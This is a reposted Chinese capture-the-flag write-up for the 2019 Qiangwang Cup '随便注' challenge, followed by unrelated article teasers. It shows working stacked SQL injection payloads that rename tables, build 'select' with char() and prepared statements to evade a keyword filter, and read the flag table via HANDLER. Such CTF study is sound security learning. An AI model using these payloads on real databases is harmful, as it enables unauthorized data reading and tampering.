[强网杯 2019]随便注

news2024/12/23 19:29:27

目录

信息收集

方法一:堆叠注入

方法二:MySQL预处理

语法

payload

方法三:handler

知识点

语法 

payload


信息收集

1' 

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

说明是单引号闭合

1' or 1=1;#

存在sql注入漏洞

1' order by 3;# 
Unknown column '3' in 'order clause'

说明只有两列

-1' union select 1,database() #
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

回显为过滤规则

因为这里select被禁用,考虑使用堆叠注入 

方法一:堆叠注入

  • 数据库名

1';show databases;#

  • 获取表名

1'; show tables;#

  • 获取列名

1'; show columns from words;#
1'; show columns from `1919810931114514`;#

1919810931114514必须用反单引号括起来,不然出错

这里来说明一下原因:

在mysql中查询纯数字和关键字的列名、表名时必须加``

提示大家做列名和表名的时候不能用mysql中的关键字。

 

words表里有两个属性:id 和data
而1919810931114514表里只有一个属性
后台sql语句可能为 select * from words where id=$inject

注入1' or 1=1;#后sql语句变为

select * from words where id=‘    1’ or 1=1 #     ’

  • 修改名称
1';rename table words to myword;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#

看了大佬写的wp,发现还有很多姿势可以更快拿到flag,简单记录下大佬的思路

方法二:MySQL预处理

语法

# 定义预处理语句
PREPARE stmt_name FROM preparable_stmt;
# 执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
# 删除(释放)定义
{DEALLOCATE | DROP} PREPARE stmt_name;
  • 准备预处理语句
prepare sql_1 from "select * from pdo";
execute sql_1;
drop prepare sql_1;
  • 定义参数变量
set @id=2;
execute sql_2 using @id;   --选出id=2的信息
  • 综合案例
prepare sql_2 from "select * from coleak where id > ? && age > ?";
set @id=2;
set @age=30;
execute sql_2 using @id,@age;
concat(),函数用于字符串拼接。
char(),将ASCII码转换为对应的字符。

payload

1';SET @sql = concat(char(115,101,108,101,99,116), " * from `1919810931114514`"); PREPARE yuchuli from @sql; EXECUTE yuchuli;

因为select被过滤,用char(115,101,108,101,99,116)生成select,也可以用拼接生成select。
然后用concat()拼接成一句完整的sql语句。           
先定义了一个变量sql,然后将变量sql定义为预处理语句,然后再执行。

方法三:handler

知识点

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

语法 

通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。 通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。 通过HANDLER tbl_name CLOSE来关闭打开的句柄。

HANDLER tbl_name READ index_name = value指定从哪一行开始,通过NEXT继续浏览。

payload

1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;#

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/157819.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

开发中常用的Spring注解

一.IOC容器 Configuration ConpoentScan CompoentScans Bean Import DependsOn Lazy Compoent Repository Service Controller Autowired Qualifier 二.AOP切面 Aspect Pointcut Before After AfterReturning AfterThrowing Around 三.事务声明 Transac…

nacos一:服务注册

为什么用nacos: Eureka需要自己搭建项目,nacos下载后,就可以直接访问web界面,自带负载均衡 Nacos可以 1替代eureka做服务注册中心 2替代Config做服务配置中心 使用 一: 1 下载nacos,在bin目录下打开cmd窗口,输入startup.cmd -m s…

100 亿美元!微软豪赌 AI,OpenAI 渗透 GitHub、Office、Bing

OpenAI 这把 ChatGPT 的火还在持续地燃烧!作者 | 唐小引出品 | CSDN(ID:CSDNnews)今天,据路透社援引 Semafor 消息报道,微软正在计划向 OpenAI 再次投资 100 亿美元,如果合作达成,微…

【STM32学习】SysTick定时器(嘀嗒定时器)

SysTick定时器一、参考资料二、时钟源选择与定时时间计算1、时钟源选择2、定时时间计算三、SysTick_Handler中断服务函数一、参考资料 嘀嗒定时器:时钟源、寄存器 二、时钟源选择与定时时间计算 结合正点原子的代码进行说明: 1、时钟源选择 从上图可以发…

通讯录的实现(详解)(后附完整源代码)

通讯录的实现一.所需要的功能二.大致菜单三.创建通讯录四.增加联系人五.显示联系人六.查找联系人七.删除联系人八.修改联系人一.所需要的功能 对于通讯录来说,我们需要它实现以下几个功能。 1.人的信息:姓名年龄性别电话地址。 2.可以存放100个人的信息…

VMware Workstation Pro 16安装Windows 11

1:首先在机器中安装VMware Workstation Pro。 2:准备Windows 11的安装镜像。 3:安装Windows 11的系统要求,这个很关键不满足条件无法安装,其中我们只需要注意系统固件和TPM这两项就行。 4:运行VMware Wor…

使用SQL4Automation让CodeSYS连接数据库

使用SQL4Automation让CodeSYS连接数据库 摘要:本文旨在说明面向CodeSYS的数据库连接方案SQL4Automation的使用方法。 1.SQL4Automation简介 1.1.什么是SQL4Automation SQL4Automation是一套工业用途的软件解决方案,它主要的功能就是为PLC和机器人控制提…

王道操作系统笔记(一)———— 计算机系统概述

文章目录一、操作系统基本概念1.1 基本概念1.2 四大特征1.3 目标和功能二、操作系统的分类与发展三、操作系统的运行环境3.1 运行机制3.2 中断和异常3.3 系统调用四、操作系统的体系结构4.1 宏内核与微内核4.2 分层结构4.3 模块化4.4 外核五、操作系统引导六、虚拟机一、操作系…

nacos2.x集群版搭建

1. 预备环境准备 请确保是在环境中安装使用: 64 bit OS Linux/Unix/Mac,推荐使用Linux系统。--这里使用linux系统64 bit JDK 1.8;下载. 配置。Maven 3.2.x;下载. 配置。3个或3个以上Nacos节点才能构成集群。官网地址:集群部署说明 2、服务器…

Android 深入系统完全讲解(12)

11 跟踪一个服务,直接找到驱动实现 如果说我自己学习整个系统,直到底层驱动的方法,我想说的就是我常用的就是跟踪震动这个模块,而为什么是这个,主要是简单,但是又是从上到下都具备,对于学习系统…

【OpenCV】拾遗

前言 本篇博客主要是总结OpenCV使用过程中遇到的一些问题,便于以后参考。 以下所有内容均基于VS2015 OpenCV_v4.5.1 及 VS Code MinGW_v4.3.5 CMake_v3.20.0 OpenCV_v4.5.1,前者的配置教程可以参考这个链接,后者的配置教程可以参考这个链…

2022年衣物清洁行业市场报告:洗衣液等四大高增长类目分析

随着人们经济水平的提高以及消费观念的升级,当前个护家清用品逐渐朝品质化、精细化、个性化的方向发展,类目衍生更替更频繁、迭代速度更快。 得益于庞大的人口规模,个护家清产品规模巨大,衣物清洁行业虽增速放缓但仍在个护家清行…

OpenFoam收缩扩张喷管(拉瓦尔喷管)边界条件的设置

简介 收缩扩张喷管(也成拉瓦尔喷管)广泛应用于火箭推进。将其流动特性定性描述如下: (1)当入口流量较小时,不出现雍塞,流速先增大后减小,全程为亚声速。出口压力即为大气压&#x…

金融数学建模——2022年大湾区杯金融数学建模B题(解题思路及部分python代码)

目录 一、概述 二、赛题及解读 1.赛题详情 2.赛题解读 三、解题方法 1.第一问 第一问部分代码 2.第二问 第二问部分代码 3.第三问: 第三问部分代码 4.第四问 三、总结 一、概述 这次比赛是我们队伍第一次参加金融数学建模,尽管在比赛前用2020年…

数据结构与算法4—队列

队列 队列的定义 队列(Queue)也是一种运算受限的线性表。它只允许在表的一端进行插入,而在另一端进行删除。允许删除的一端称为队头(front),允许插入的一端称为队尾(rear)。队列的修改是依先进先出的原则进行的。队列的基本操作 1.初始化队…

Vue前后端页面下载功能实现演示,Python+flask提供后台下载服务

Vue前后端页面下载功能实现效果图后台下载服务实现前台简单实现[ 文章推荐 ] Python 地图篇 - 使用 pyecharts 绘制世界地图、中国地图、省级地图、市级地图实例详解 效果图 首先看下演示效果。 点文档的话是 html 文档,跳转的预览,点下载的话是压缩包…

pycharm python 程序打包相关

前言 终于入门了python打包这个大话题,将目前学到的技能分享一下。 pycharm启动虚拟环境pipenv 缩小打包 和很多博客说的一样,打包那么大是因为打包了多余的库,因此想要缩小就需要一个干净的,没有多余的库的环境进行打包。也就是…

一文读懂内容生态驱动的“菌落式”增长

健康的内容生态对文娱行业极为重要。本文详细介绍了用内容生态建设驱动用户“菌落式”增长的路径。点击文末“阅读原文”立即观看完整直播回放,并下载演讲文档。内容生态与用户增长内容生态建设与用户增长互为因果。一方面,出圈的内容直接带来用户增长。…

《2022大数据产业年度创新服务企业》榜重磅发布丨金猿奖

‍年度金猿榜单/奖项本届“数据猿年度金猿策划活动——2021大数据产业创新服务企业榜单/奖项”由金猿&数据猿&上海大数据联盟共同推出。‍数据智能产业创新服务媒体——聚焦数智 改变商业2022年下半年度,由数据猿、金猿组委会共同推出的第五届 “年度金猿季…

通过usb利用adb实现android手机和pc机通信

1、 adb forward 原理概述 adb forward 的功能是建立一个转发 如:adb forward tcp:8000 tcp:9000 的意思是,将PC端的 8000 端口收到的数据,转发给手机中的 9000 端口。 但是光执行这个命令还不能转发数据,还需要完成下面两个步骤才…